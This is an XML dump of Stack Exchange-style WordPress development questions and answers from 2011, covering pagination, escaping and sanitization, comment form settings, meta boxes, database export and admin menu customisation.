  <row Id="9882" PostTypeId="2" ParentId="9878" CreationDate="2011-02-20T08:01:34.263" Score="0" ViewCount="" Body="&lt;p&gt;I couldn't find a way to filter via post type when retrieving a list of tags. &#xA;I would do something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_tags_per_post_type() {&#xA;    $post_list = get_posts(array('post_type' =&amp;gt; ''));&#xA;    $tag_list = array();&#xA;    foreach($post_list as $current_post) {&#xA;        $current_tag_list = wp_get_post_tags($current_post-&amp;gt;ID);&#xA;        foreach ($current_tag_list as $tag) {&#xA;            $tag_list[] = $tag-&amp;gt;term_id;&#xA;        }&#xA;    }&#xA;&#xA;    $tag_list = array_unique($tag_list);&#xA;    return $tag_list;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This retrieves a list of tag term ids related to a particular post type. If you want a list of tag objects, then we would need to create a function which identify duplicate tag object being added to $tag_list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-02-20T08:01:34.263" CommentCount="1" />
  <row Id="9883" PostTypeId="2" ParentId="9870" CreationDate="2011-02-20T08:13:21.503" Score="0" ViewCount="" Body="&lt;p&gt;I may not be understanding you questions fully, but would a simple shortcode solve your issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have the client create a page i.e.&#xA;&lt;a href=&quot;http://mysite.com/my-api&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/my-api&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Have the client add a shortcode in that page i.e. [my-api-shortcode]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The new page acts as an API end point and your shortcode sends requests to your plugin code in &lt;a href=&quot;http://mysite.com/wp-content/plugins/my-plugin/my-api.php&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/wp-content/plugins/my-plugin/my-api.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( of course this means that my-api.php would have the shortcode defined )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably automate steps 1 and 2 via the plugin. &lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-02-20T08:13:21.503" />
  <row Id="9884" PostTypeId="1" CreationDate="2011-02-20T09:50:15.140" Score="0" ViewCount="163" Body="&lt;p&gt;I have a page that list the child pages of this specifiec page but i would like to add pagination for it , how can i do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code that get's the pages&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;products&quot; class=&quot;items-thumbs&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            $the_id = get_the_ID();&#xA;&#xA;            $args = array(&#xA;            'child_of'     =&amp;gt; $the_id,&#xA;            'title_li'     =&amp;gt; '',&#xA;            'parent'       =&amp;gt; $the_id,&#xA;            'sort_order'    =&amp;gt; 'ASC',&#xA;            'sort_column'   =&amp;gt; 'ID',&#xA;            'number'        =&amp;gt; 20&#xA;            );&#xA;&#xA;            $pages = get_pages( $args );&#xA;&#xA;            $output = '';&#xA;&#xA;            foreach($pages as $value){&#xA;&#xA;                $thumb = get_the_post_thumbnail( $value-&amp;gt;ID, $attr = '' );&#xA;                $output .= &quot;&amp;lt;li&amp;gt;&quot;;&#xA;                $output .= &quot;&amp;lt;a href='&quot; . $value-&amp;gt;post_name . &quot;' &amp;gt;&quot; . $thumb;&#xA;                $output .= $value-&amp;gt;post_title . &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;                $output .= &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;            } &#xA;&#xA;            echo $output;&#xA;            ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3146" LastActivityDate="2011-02-20T14:11:02.163" Title="Pagination &amp; get_pages?" Tags="&lt;theme-development&gt;&lt;pagination&gt;&lt;page-template&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9885" PostTypeId="2" ParentId="9863" CreationDate="2011-02-20T10:15:48.787" Score="2" ViewCount="" Body="&lt;p&gt;Sanitization and escaping is always heavily context-dependent and I'm not an expert in this field, anyway I did some 'research' myself recently so I'll try to supply you with some general guidelines until someone with more insight will come and offer the ultimate in-depth answer (which I'll be eager to read too.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex article on &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;Data Validation&lt;/a&gt; is a good starter. I believe &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/formatting.php#L2335&quot; rel=&quot;nofollow&quot;&gt;esc_html()&lt;/a&gt; is the most used method for output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also seems to be a newcomer to WP escaping family in WordPress 3.1  - &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/formatting.php#L2363&quot; rel=&quot;nofollow&quot;&gt;esc_textarea()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress is trying to make your life easier as always - so be sure to check for existing context-specific functions like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/sanitize_title&quot; rel=&quot;nofollow&quot;&gt;sanitize_title()&lt;/a&gt; or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/sanitize_user&quot; rel=&quot;nofollow&quot;&gt;sanitize_user()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you do some source-diving and go thru functions in &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/formatting.php&quot; rel=&quot;nofollow&quot;&gt;wp-includes/formatting.php&lt;/a&gt; to learn more about various methods and how they are constructed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been a similar discussion on wp-hackers recently - definitely worth reading:&lt;br&gt;&#xA;&lt;a href=&quot;http://old.nabble.com/Saving-input-from-untrusted-users-td30502553.html&quot; rel=&quot;nofollow&quot;&gt;WP-HACKERS: Saving input from untrusted users&lt;/a&gt;. I will dare to quote Andrew Nacin's input on this one:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Generalizing here: sanitization should&#xA;  be done on save, and escaping on &#xA;  display. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So you'll want to run &lt;strong&gt;kses&lt;/strong&gt;,&#xA;  &lt;strong&gt;absint&lt;/strong&gt;, &lt;strong&gt;esc_url_raw&lt;/strong&gt;, &lt;strong&gt;sanitize_text_field&lt;/strong&gt;, what  have you, on save. Then, use &lt;strong&gt;esc_url&lt;/strong&gt;,&#xA;  &lt;strong&gt;esc_html&lt;/strong&gt; along with &lt;strong&gt;texturization&lt;/strong&gt; or  whatever else you need, what have you, on output.&#xA;  There may be use cases for  running&#xA;  kses on display. We do it in some&#xA;  instances. But as long as the data  is&#xA;  safe going in, it's going to be safe coming out. (And if it isn't, then &#xA;  you have a larger problem.) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Still want more? ;)&lt;br&gt;&#xA;&lt;a href=&quot;http://thecodecave.com/2010/06/22/wordpress-security-a-plugin-done-right/&quot; rel=&quot;nofollow&quot;&gt;The Code Cave: WordPress Security – a plugin done right&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.smashingmagazine.com/2011/01/11/keeping-web-users-safe-by-sanitizing-input-data/&quot; rel=&quot;nofollow&quot;&gt;Smashing Magazine: Keeping Web Users Safe By Sanitizing Input Data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Have a nice and secure day.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-02-20T10:21:51.517" LastActivityDate="2011-02-20T10:21:51.517" />
  <row Id="9886" PostTypeId="2" ParentId="9856" CreationDate="2011-02-20T10:44:27.740" Score="1" ViewCount="" Body="&lt;p&gt;I've got a similar problem scheduled and my favorite concept so far is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a custom taxonomy 'archive', containing userid's as terms&lt;/li&gt;&#xA;&lt;li&gt;add an 'archived' button on each post, adding the user id to the terms and associating the post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can then use all the taxonomy goodness to only show non-archived posts and create archive pages for each individual user...and combine it with other taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll do this as a plugin, when the time comes, but it will be a while.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-20T10:44:27.740" CommentCount="1" />
  <row Id="9888" PostTypeId="2" ParentId="9878" CreationDate="2011-02-20T11:36:19.027" Score="2" ViewCount="" Body="&lt;p&gt;I am not sure from your description - do you want to only display this for posts of specific type &lt;strong&gt;or&lt;/strong&gt; only display posts of specific type as related ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your guess is precise, query does take &lt;code&gt;post_type&lt;/code&gt; argument, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Type_.26_Status_Parameters&quot; rel=&quot;nofollow&quot;&gt;Type &amp;amp; Status Parameters&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-20T11:36:19.027" CommentCount="2" />
  <row Id="9889" PostTypeId="2" ParentId="9546" CreationDate="2011-02-20T11:57:45.460" Score="0" ViewCount="" Body="&lt;p&gt;Not tested, but from quick look at the code &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wordpress-popular-posts/trunk/wordpress-popular-posts.php#L132&quot; rel=&quot;nofollow&quot;&gt;this line&lt;/a&gt; seems wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo htmlspecialchars_decode($instance['markup']['title-start'], ENT_QUOTES) &#xA;. $instance['title'], ENT_QUOTES &#xA;. htmlspecialchars_decode($instance['markup']['title-end'], ENT_QUOTES);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think there should be &lt;code&gt;htmlspecialchars_decode()&lt;/code&gt; call around &lt;code&gt;$instance['title'], ENT_QUOTES&lt;/code&gt; in the middle.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-20T11:57:45.460" CommentCount="1" />
  <row Id="9890" PostTypeId="1" CreationDate="2011-02-20T13:23:20.337" Score="0" ViewCount="141" Body="&lt;p&gt;I need to know how to make one of the fields on my comment not NOT required. How can I set the e-mail field in the comment field to not be required, but optional?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-20T15:17:04.757" Title="Comment Form - E-mail Not Required!" Tags="&lt;comments&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="9891" PostTypeId="2" ParentId="9890" CreationDate="2011-02-20T13:26:11.813" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;Settings&lt;/code&gt; &gt; &lt;code&gt;Discussion&lt;/code&gt; &gt; &lt;code&gt;Other comment settings&lt;/code&gt; &gt; uncheck &lt;code&gt;Comment author must fill out name and e-mail&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, as far as WP is concerned these are glued together. You can add your own check for empty name, something like this (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('preprocess_comment', 'require_comment_author');&#xA;&#xA;function require_comment_author($commentdata) {&#xA;&#xA;    if ('' == $commentdata['comment_author'])&#xA;        wp_die('Error: please enter a valid name.');&#xA;&#xA;    return $commentdata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then will also need to modify form generation so name is marked up as required and email not...&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-20T15:17:04.757" LastActivityDate="2011-02-20T15:17:04.757" CommentCount="1" />
  <row Id="9892" PostTypeId="2" ParentId="9884" CreationDate="2011-02-20T14:11:02.163" Score="1" ViewCount="" Body="&lt;p&gt;I think you can use &lt;code&gt;query_posts()&lt;/code&gt; function instead of &lt;code&gt;get_pages()&lt;/code&gt;, and use a pagination plugin like wp-pagenavi. The &lt;code&gt;query_posts()&lt;/code&gt; will set variables for pagination as well without any afforts.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-02-20T14:11:02.163" CommentCount="1" />
  <row Id="9893" PostTypeId="2" ParentId="9865" CreationDate="2011-02-20T16:02:42.730" Score="1" ViewCount="" Body="&lt;p&gt;This theme sort of does the same thing &lt;a href=&quot;http://wordpress.org/extend/themes/goodtheme-lead&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/goodtheme-lead&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-20T16:02:42.730" />
  <row Id="9894" PostTypeId="1" CreationDate="2011-02-20T16:10:15.793" Score="0" ViewCount="37" Body="&lt;p&gt;I want to create archives in the following format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to improve my coding skills so I'm trying to make this a plugin, till now I got the functionality working with the following code, I would like some feedback on what I could improve in terms of programming techniques and also functionality for the plugin. Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tidy_archives() {&#xA;global $wpdb;&#xA;&#xA;// Get all years which contain posts except current year    &#xA;$previous_years = $wpdb-&amp;gt;get_results(&quot;&#xA;SELECT distinct year(post_date) AS 'year', count(ID) as posts&#xA;    FROM $wpdb-&amp;gt;posts&#xA;    WHERE post_type = 'post' &#xA;    AND post_status = 'publish'&#xA;    AND year(post_date) &amp;lt; year(CURDATE())&#xA;    GROUP BY year(post_date) &#xA;    ORDER BY post_date DESC&#xA;&quot;);&#xA;&#xA;echo 'it works';&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach( $previous_years as $previous_year ) { ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_year_link( $previous_year-&amp;gt;year ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $previous_year-&amp;gt;year; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;        &#xA;&amp;lt;?php }&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;// Get all months in current year which contain posts AND the posts from each of these months&#xA;$current_year_posts = $wpdb-&amp;gt;get_results(&quot;&#xA;SELECT distinct monthname(post_date) AS monthname, month(post_date) AS month, post_title, id&#xA;    FROM wp_posts&#xA;    WHERE post_type = 'post' &#xA;    AND post_status = 'publish'&#xA;    AND year(post_date) = year(CURDATE()) &#xA;    ORDER BY post_date DESC&#xA;&quot;);&#xA;&#xA;$curr_month = 0;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach( $current_year_posts as $cyp ) {               &#xA;    if ( $cyp-&amp;gt;month &amp;lt;&amp;gt; $curr_month ) {            &#xA;        if ($curr_month &amp;lt;&amp;gt; 0 &amp;amp;&amp;amp; $cyp-&amp;gt;month &amp;lt; $curr_month ) echo '&amp;lt;/ul&amp;gt;';&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_month_link( '', $cyp-&amp;gt;month ) . '&quot;&amp;gt;' . $cyp-&amp;gt;monthname . date(' Y') . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';                &#xA;        echo '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'. get_permalink( $cyp-&amp;gt;id ) . '&quot;&amp;gt;' . $cyp-&amp;gt;post_title . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';            &#xA;        $curr_month = $cyp-&amp;gt;month;&#xA;    }&#xA;    else { echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'. get_permalink( $cyp-&amp;gt;id ) . '&quot;&amp;gt;' . $cyp-&amp;gt;post_title . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;'; }        &#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;'; echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3334" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-02-20T17:31:17.547" LastActivityDate="2011-02-20T17:31:17.547" Title="Feedback about this code for archives" Tags="&lt;archive&gt;" />
  <row Id="9895" PostTypeId="2" ParentId="5029" CreationDate="2011-02-20T17:11:50.270" Score="0" ViewCount="" Body="&lt;p&gt;you can use custom permalink plugins, just search in wp extend plugins page, you can customize permalink per post or page and doesnt affect to the default permalink seting&lt;/p&gt;&#xA;" LastActivityDate="2011-02-20T17:11:50.270" />
  <row Id="9896" PostTypeId="1" AcceptedAnswerId="9897" CreationDate="2011-02-20T17:18:08.240" Score="0" ViewCount="68" Body="&lt;p&gt;Every time I export a database using the Export Tool in wp-admin. There are two things left out: The category 'checked' (I have to do that all over again every time I export the posts). Also I can't download the pictures because I usually work in my localhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to export absolutely everything (100%) from the database of a Wordpress site?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-21T01:17:58.883" Title="Is there an easy way of exporting posts with their category already asigned and pictures from localhost?" Tags="&lt;database&gt;&lt;export&gt;" AnswerCount="1" />
  <row Id="9897" PostTypeId="2" ParentId="9896" CreationDate="2011-02-20T17:39:39.710" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export everything in the database, go to your hosting provider's control panel such as &lt;a href=&quot;http://www.cpanel.net/&quot; rel=&quot;nofollow&quot;&gt;CPanel&lt;/a&gt; and find out how to do &lt;em&gt;&quot;an SQL dump&quot;&lt;/em&gt;. An SQL dump is a text file containing the SQL script to rebuild your database on your local computer. You can often do that in software your host may provide named &lt;a href=&quot;http://www.phpmyadmin.net/&quot; rel=&quot;nofollow&quot;&gt;phpMyAdmin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately you could use a &lt;a href=&quot;http://www.google.com/search?q=desktop+MySQL+tools&quot; rel=&quot;nofollow&quot;&gt;desktop SQL tool&lt;/a&gt;; if you are on Windows one of my favorites is the free &lt;a href=&quot;http://www.heidisql.com/&quot; rel=&quot;nofollow&quot;&gt;HeidiSQL&lt;/a&gt;; on Mac I used the commercial software &lt;a href=&quot;http://www.navicat.com/&quot; rel=&quot;nofollow&quot;&gt;Navicat for MySQL&lt;/a&gt; which I also used on Windows because of advanced features that HeidiSQL did not have. If you use a desktop tool you will probably have to &lt;a href=&quot;http://support.hostgator.com/articles/cpanel/how-to-connect-to-the-mysql-database&quot; rel=&quot;nofollow&quot;&gt;enable remote access to MySQL from your IP address&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've imported your SQL dump, you can consider using &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production/182#182&quot;&gt;this plugin&lt;/a&gt; to &lt;em&gt;&quot;fix up&quot;&lt;/em&gt; all your URL references. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. You'll need to use FTP to download all of your photos and other files you may have uploaded.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-21T01:17:58.883" LastActivityDate="2011-02-21T01:17:58.883" />
  <row Id="9898" PostTypeId="1" AcceptedAnswerId="12489" CreationDate="2011-02-20T18:46:40.490" Score="0" ViewCount="173" Body="&lt;p&gt;I have a pulldown menu in a custom write box that classification numbers. How can I populate a select box on the front end that will:&#xA;a) be populated with all the possible values defined in the functions script&#xA;b) have the value chosen in wp-admin be selected on page load in the pulldown menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question piggybacks on my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9779/how-to-add-a-select-menu-to-this-metabox-code&quot;&gt;how to add a select menu to a custom meta box&lt;/a&gt; that was answered (perfectly) by בניית אתרים.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My cpt meta box code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function inventory_information() {&#xA;    global $post;&#xA;&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;inventorymeta_noncename&quot; id=&quot;inventorymeta_noncename&quot; value=&quot;' .&#xA;    wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;&#xA;    $stocknum = get_post_meta($post-&amp;gt;ID, '_dappcf_i_stocknum', true);&#xA;    $vin = get_post_meta($post-&amp;gt;ID, '_dappcf_i_vin', true);&#xA;    $my_dropdown = get_post_meta($post-&amp;gt;ID, '_dappcf_i_dropdown', true);&#xA;&#xA;    echo '&amp;lt;p&amp;gt;Stock #: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_stocknum&quot; value=&quot;' . $stocknum  . '&quot; class=&quot;widefat&quot; style=&quot;width:80px&quot; /&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &#xA;VIN: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_vin&quot; value=&quot;' . $vin  . '&quot; class=&quot;widefat&quot;  style=&quot;width:200px&quot; /&amp;gt;&amp;lt;/p&amp;gt;';&#xA;&#xA;    echo '&amp;lt;p&amp;gt;Inventory class: &amp;lt;select name=&quot;_dappcf_i_dropdown&quot; class=&quot;widefat&quot;&amp;gt;';&#xA;    echo '&amp;lt;option value=&quot;1&quot;'. $my_dropdown == &quot;1&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 1'. '&amp;lt;/option&amp;gt;';&#xA;    echo '&amp;lt;option value=&quot;2&quot;'. $my_dropdown == &quot;2&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 2'. '&amp;lt;/option&amp;gt;'; &#xA;    echo '&amp;lt;option value=&quot;3&quot;'. $my_dropdown == &quot;3&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 3'. '&amp;lt;/option&amp;gt;'; &#xA;    echo '&amp;lt;option value=&quot;4&quot;'. $my_dropdown == &quot;4&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 4'. '&amp;lt;/option&amp;gt;'; &#xA;    echo '&amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;function txpbs_save_events_meta($post_id, $post) {&#xA;    if ( !wp_verify_nonce( $_POST['inventorymeta_noncename'], plugin_basename(__FILE__) )) {&#xA;    return $post-&amp;gt;ID;&#xA;    }&#xA;    if ( !current_user_can( 'edit_post', $post-&amp;gt;ID ))&#xA;return $post-&amp;gt;ID;&#xA;&#xA;    $station_meta['_dappcf_i_stocknum'] = $_POST['_dappcf_i_stocknum'];&#xA;    $station_meta['_dappcf_i_vin'] = $_POST['_dappcf_i_vin'];&#xA;    $station_meta['_dappcf_i_dropdown'] = $_POST['_dappcf_i_dropdown'];&#xA;&#xA;    foreach ($station_meta as $key =&amp;gt; $value) {&#xA;if( $post-&amp;gt;post_type == 'revision' ) return;&#xA;$value = implode(',', (array)$value); &#xA;if(get_post_meta($post-&amp;gt;ID, $key, FALSE)) {&#xA;    update_post_meta($post-&amp;gt;ID, $key, $value);&#xA;} else {&#xA;    add_post_meta($post-&amp;gt;ID, $key, $value);&#xA;}&#xA;if(!$value) delete_post_meta($post-&amp;gt;ID, $key);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I use this code to call my custom fields when displayed in an input field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, '_dappcf_i_dropdown', true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any direction is greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-02-20T19:23:32.563" LastActivityDate="2011-03-31T17:40:26.587" Title="How to make a pulldown menu display custom meta terms in a theme?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="9899" PostTypeId="1" CreationDate="2011-02-20T19:19:17.170" Score="0" ViewCount="221" Body="&lt;p&gt;This question specifically deals with the &lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Multiple Post Thumbnails&lt;/a&gt; plugin, though the problem may have to do with my installation of WP itself as nobody else seems to have had this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using WP 3.0.5, completely stock with the exception of the plugin. As per the instructions, I am initializing the plugin as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$video_thumb_secondary = new MultiPostThumbnails(array(&#xA;        'label' =&amp;gt; 'Thumbnail Image',&#xA;        'id' =&amp;gt; 'video-thumbnail',&#xA;        'post_type' =&amp;gt; 'video'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above is called in a function run during the admin_menu hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When attempting to upload/select an image and then clicking on 'Use as thumbnail image' I get the following error: &quot;Could not set that as the thumbnail image. Try a different attachment.&quot; I have also tried initializing the plugin with the default 'post_type' of 'post' and have run into the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, I have seen no other documented cases of this error with this plugin, and hardly any at all of this error in general with WP. Hoping somebody can shed some light on it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** &lt;strong&gt;EDIT&lt;/strong&gt; ** Resolved my own issue. The code above must be run outside of any function in your functions.php file. I naturally assumed that it should be defined in one of the admin menu hooks, but that is not the case.&lt;/p&gt;&#xA;" OwnerUserId="3338" LastEditorUserId="3338" LastEditorDisplayName="" LastEditDate="2011-02-20T21:59:19.590" LastActivityDate="2011-06-03T08:46:10.983" Title="Multiple Post Thumbnails plugin and attachment error" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="9900" PostTypeId="2" ParentId="9878" CreationDate="2011-02-20T19:38:53.793" Score="1" ViewCount="" Body="&lt;p&gt;Something exactly like &lt;code&gt;'post_type' =&amp;gt; 'videos'&lt;/code&gt; somewhere in your &lt;code&gt;$args&lt;/code&gt; array :)&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-02-20T19:38:53.793" />
  <row Id="9901" PostTypeId="1" AcceptedAnswerId="9905" CreationDate="2011-02-20T19:39:25.257" Score="2" ViewCount="174" Body="&lt;p&gt;I'd like to hide certain menus like Media, Privacy, and Permalinks. I've been using the following code to hide entire parent menus but not sure how to go about for submenus.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus () {&#xA;global $menu;&#xA;        $restricted = array(__('Links'), __('Comments'), __('Appearance'), __('Tools'));&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="3239" LastEditorDisplayName="" LastEditDate="2011-02-20T20:08:38.413" LastActivityDate="2011-02-20T20:27:17.090" Title="How can I hide certain submenus of the Settings tab in the dashboard?" Tags="&lt;dashboard&gt;" AnswerCount="2" />
  <row Id="9902" PostTypeId="2" ParentId="458" CreationDate="2011-02-20T19:58:39.490" Score="1" ViewCount="" Body="&lt;p&gt;Several OpenID plugins have appeared since I posted this question last August.  A collection of plugins is required to get a complete OpenID experience:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/openid/&quot; rel=&quot;nofollow&quot;&gt;OpenID Plugin version 3.3.3&lt;/a&gt; works with WP 3.0.4&lt;/li&gt;&#xA;&lt;li&gt;It requires the &lt;a href=&quot;http://wordpress.org/extend/plugins/xrds-simple/&quot; rel=&quot;nofollow&quot;&gt;XRDS Simple plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-openid-selector/&quot; rel=&quot;nofollow&quot;&gt;OpenID Selector plugin&lt;/a&gt; to simplify using common OpenID providers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="50" LastEditorUserId="5074" LastEditorDisplayName="" LastEditDate="2011-08-07T03:00:00.463" LastActivityDate="2011-08-07T03:00:00.463" />
